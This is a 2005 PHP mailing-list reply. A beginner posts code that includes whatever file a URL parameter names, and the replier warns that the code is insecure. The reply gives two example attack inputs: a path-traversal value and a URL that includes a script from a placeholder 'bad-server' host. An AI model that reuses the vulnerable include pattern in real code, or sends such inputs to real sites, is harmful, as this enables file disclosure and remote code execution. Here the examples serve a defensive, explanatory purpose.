Re: Dynamic PHP links
| From: | Burhan Khalid | Date: | Sun, 13 Feb 2005 13:54:05 +0000 |
| Subject: | Re: Dynamic PHP links | ||
| References: | 1 | Groups: | php.general |
| Request: | Send a blank email to php-general+get-208610@lists.php.net to get a copy of this message | ||
Eduard Grigoryan wrote:
Hi, I'm new to PHP and I'd appreciate your advice a lot. I'm trying to use dynamic PHP links instead of plain HTML and I'm gonna use something like this: File "index.php": <? <a href=index.php?content=story.htm>story</a><br> <a href=index.php?content=about.htm>about</a><br> <? if(isset($content)): include $content; else: include "about.htm"; endif; ?> But a guy told me it is not preferable to use this method because of security considerations. I'm sure there is a common way of building dynamic links; am I on wrong way?You can search the list archives for posts regarding this topic (it comes up alot). There are safer ways to do what you are doing. One simple way to "hack" your script as written above would be to type : index.php?content=../some/secret/file.txt or, index.php?content=http://www.bad-server.com/badscript.php in the browser's address bar. Regards, Burhan